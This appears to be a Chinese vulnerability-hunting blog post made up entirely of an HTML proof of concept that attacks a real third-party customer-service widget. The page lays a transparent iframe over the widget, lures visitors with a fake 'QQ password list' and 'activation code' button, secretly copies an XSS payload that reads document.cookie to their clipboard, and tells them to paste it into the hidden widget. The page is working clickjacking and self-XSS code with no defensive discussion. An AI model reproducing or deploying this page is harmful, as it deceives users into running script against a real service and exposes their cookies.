@1kbfree
2018-09-17T11:56:57.000000Z
字数 1407
阅读 1193
漏洞挖掘
<html><head><meta charset="UTF-8"><style type="text/css">.testframe {height: 100%;}iframe {height: 100%;width: 100%;border: 0;margin: 0;padding: 0;/*控制不透明度的属性，兼容各大浏览器*/filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/-moz-opacity: 0; /*提供给火狐浏览器的*/-webkit-opacity: 0; /*提供给webkit内核的*/-khtml-opacity: 0; /*提供给KHTML内核的*/-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/opacity: 0.01;/*控制不透明度的属性，兼容各大浏览器*/}#test {/*控制不透明度的属性，兼容各大浏览器*/filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/-moz-opacity: 0;-webkit-opacity: 0;-khtml-opacity: 0;-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity: 0;position: absolute;margin: 100px;/*控制不透明度的属性，兼容各大浏览器*/}#submit {position: absolute;width: 555px;height: 66px;margin: 0 auto;left: 0;right: 250px;display: block;top: 550px;}</style></head><body><input type="text" id="test" value="<img/src='x'/onerror=(alert)(document.cookie)>"><center><h3>QQ密码大全(禁止外泄)</h3><input type="submit" value="获取到激活码" onclick="cpy()"></center><div class="testframe"><input type="text" id="submit" value="点击这里并且粘贴内容即可"><iframe src="https://qiyukf.com/client?k=c45f939a72580cebe93d08a1fe3e6460&robotShuntSwitch=1" frameborder="0" id="test0"></iframe></div><script type="text/javascript">function cpy(){// 当用户点击了id为test的那个标签他的粘贴板就会变成value里面的值var content=document.getElementById("test");content.select();document.execCommand("Copy");alert("注意：\n1、点击白色下面输入框，按ctrl+v或者直接粘贴激活码（因为是免费的所以隐藏掉了）");}</script></body></html>